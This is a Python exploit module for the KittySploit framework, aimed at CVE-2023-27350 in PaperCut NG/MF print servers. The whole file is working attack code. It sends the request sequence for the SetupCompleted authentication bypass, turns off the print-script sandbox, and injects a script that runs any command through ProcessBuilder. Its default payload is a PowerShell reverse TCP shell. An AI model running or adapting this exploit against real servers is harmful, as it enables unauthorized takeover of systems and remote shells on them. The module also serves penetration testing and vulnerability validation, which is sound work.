PaperCut NG/MF Auth Bypass RCE (CVE-2023-27350)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2023-27350 — PaperCut NG/MF SetupCompleted auth bypass and print-script RCE."""

from __future__ import annotations

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "PaperCut NG/MF Auth Bypass RCE (CVE-2023-27350)",
        "description": (
            "Exploits CVE-2023-27350 in PaperCut NG/MF before 20.1.7, 21.2.11, and 22.0.9. "
            "Unauthenticated access to SetupCompleted grants an admin session, then Rhino "
            "print scripting runs self.payload via java.lang.ProcessBuilder."
        ),
        "author": ["Horizon3", "KittySploit Team"],
        "cve": ["CVE-2023-27350"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2023-27350",
            "https://www.papercut.com/kb/Main/PO-1216-and-PO-1219",
            "https://horizon3.ai/attack-research/attack-blogs/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/",
            "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "platform": [Platform.WINDOWS, Platform.UNIX, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "papercut",
            "printer",
            "auth-bypass",
            "rhino",
            "unauthenticated",
            "rce",
            "cve-2023-27350",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["papercut"],
                "endpoint_pattern_any": ["/app?service=page/SetupCompleted"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "print script ProcessBuilder"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": ["scanner/http/papercut_ng_detect"],
            },
        },
    }

    port = OptPort(9191, "PaperCut HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    printer_id = OptString("l1001", "Template printer id", False, advanced=True)
    shell = OptChoice(
        "windows",
        "Shell wrapper passed to ProcessBuilder",
        False,
        choices=["windows", "unix"],
        advanced=True,
    )
    cleanup = OptBool(True, "Restore print-script sandbox settings after exploit", False, advanced=True)

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _origin(self) -> str:
        scheme = "https" if bool(self.ssl) else "http"
        return f"{scheme}://{self.target}:{int(self.port)}"

    def _detect_major_version(self, body: str) -> int:
        match = re.search(r"PaperCut[^0-9]{0,30}([0-9]{2,3})\.[0-9]", body, re.IGNORECASE)
        if match:
            return int(match.group(1))
        match = re.search(r"\b(1[5-9]|2[0-9])\.[0-9]+\.[0-9]+", body)
        return int(match.group(1)) if match else 18

    def _bypass_auth(self) -> tuple[bool, int, str]:
        origin = self._origin()
        self.http_request(
            method="GET",
            path=self._api("/app?service=page/SetupCompleted"),
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        response = self.http_request(
            method="POST",
            path=self._api("/app"),
            headers={"Origin": origin},
            data={
                "service": "direct/1/SetupCompleted/$Form",
                "sp": "S0",
                "Form0": "$Hidden,analyticsEnabled,$Submit",
                "$Hidden": "true",
                "$Submit": "Login",
            },
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        if not response or int(response.status_code or 0) != 200:
            return False, 0, "auth bypass HTTP failure"
        body = response.text or ""
        if "papercut" not in body.lower():
            return False, 0, "SetupCompleted login did not yield admin session"
        return True, self._detect_major_version(body), body

    def _set_config(self, key: str, value: str) -> None:
        origin = self._origin()
        headers = {"Origin": origin}
        self.http_request(
            method="POST",
            path=self._api("/app"),
            headers=headers,
            data={
                "service": "direct/1/ConfigEditor/quickFindForm",
                "sp": "S0",
                "Form0": "$TextField,doQuickFind,clear",
                "$TextField": key,
                "doQuickFind": "Go",
            },
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        self.http_request(
            method="POST",
            path=self._api("/app"),
            headers=headers,
            data={
                "service": "direct/1/ConfigEditor/$Form",
                "sp": "S1",
                "Form1": "$TextField$0,$Submit,$Submit$0",
                "$TextField$0": value,
                "$Submit": "Update",
            },
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )

    def _build_script(self, command: str) -> str:
        wrapper = str(self.shell or "windows").strip().lower()
        if wrapper == "unix":
            argv = ["/bin/sh", "-c", command]
        else:
            argv = ["cmd", "/c", command]
        argv_json = json.dumps(argv, ensure_ascii=True)
        return (
            "function printJobHook(inputs, actions) {}\n"
            f"new java.lang.ProcessBuilder({argv_json}).start();"
        )

    def _inject_script(self, command: str, version_major: int) -> tuple[bool, str]:
        origin = self._origin()
        headers = {"Origin": origin}
        printer = str(self.printer_id or "l1001").strip()
        self.http_request(
            method="GET",
            path=self._api(f"/app?service=direct/1/PrinterList/selectPrinter&sp={printer}"),
            headers=headers,
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        form0 = "printerId,enablePrintScript,scriptBody,$Submit,$Submit$0"
        if version_major > 16:
            form0 += ",$Submit$1"
        response = self.http_request(
            method="POST",
            path=self._api("/app"),
            headers=headers,
            data={
                "service": "direct/1/PrinterDetails/$PrinterDetailsScript.$Form",
                "sp": "S0",
                "Form0": form0,
                "printerId": printer,
                "enablePrintScript": "on",
                "scriptBody": self._build_script(command),
                "$Submit$1": "Apply",
            },
            allow_redirects=False,
            timeout=int(self.timeout or 20),
        )
        if not response:
            return False, "no response from print script form"
        body = response.text or ""
        if int(response.status_code or 0) == 200 and (
            "Saved successfully" in body
            or "saved successfully" in body.lower()
            or "Apply" in body
        ):
            return True, body
        return False, body[:400]

    def check(self):
        try:
            ok, version, _ = self._bypass_auth()
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
            }
        if not ok:
            return {
                "vulnerable": False,
                "reason": "SetupCompleted auth bypass failed",
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": f"Unauthenticated admin session via SetupCompleted (~v{version}.x)",
            "confidence": "high",
        }

    def run(self):
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if not command:
            print_error("Set a payload (e.g. payloads/singles/cmd/windows/powershell_reverse_tcp)")
            return False

        print_status("CVE-2023-27350 — PaperCut NG/MF auth bypass + print-script RCE")
        try:
            ok, version, _ = self._bypass_auth()
        except Exception as exc:
            print_error(f"Auth bypass failed: {exc}")
            return False
        if not ok:
            print_error("SetupCompleted auth bypass failed — target patched or not PaperCut")
            self.not_vulnerable()
            return False

        print_success(f"Admin session obtained (PaperCut ~v{version}.x)")
        if version >= 19:
            print_status("Disabling print-script sandbox (v19+)")
            self._set_config("print-and-device.script.enabled", "Y")
            self._set_config("print.script.sandboxed", "N")

        print_status(f"Injecting payload: {command[:120]}")
        ok, detail = self._inject_script(command, version)
        if not ok:
            print_error("Print script injection failed")
            if detail:
                print_info(detail)
            self.not_vulnerable()
            return False

        print_success("Payload dispatched — check listener for session")
        if bool(self.cleanup) and version >= 19:
            self._set_config("print-and-device.script.enabled", "N")
            self._set_config("print.script.sandboxed", "Y")
            print_info("Restored print-script sandbox settings")
        self.vulnerable()
        return True